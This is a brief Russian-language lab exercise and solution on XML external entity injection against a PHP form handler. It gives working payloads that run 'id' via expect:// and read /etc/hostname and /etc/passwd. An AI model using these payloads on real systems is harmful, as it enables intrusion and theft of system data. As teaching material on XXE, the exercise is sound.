Вводная: скрипт PHP принимает параметр в виде XML методом POST и возвращает значение переменной name
1 |
<form><name>Petr</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form> |
Задача: Получить доступ к файловой системе.
Решение: Определить какое из полей возвращает скрипт. Отправить POST-запрос:
1 2 3 4 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe 'expect://id' >]> <form><name>&xxe;</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form> |
1 2 3 4 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM '/etc/hostname' >]> <form><name>&xxe;</name><phone>123123123</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form> |
1 2 3 4 |
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM 'file:///etc/passwd' >]> <form><name>&xxe;</name><phone>&xxe;</phone><csrf_token>HtidPUjEN2TVxe8LIgrs1MYm4y7kf69uRBQabnX3p5zFJOwqZcGolvAKSh0</csrf_token></form> |
https://habr.com/ru/company/vds/blog/454614/
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection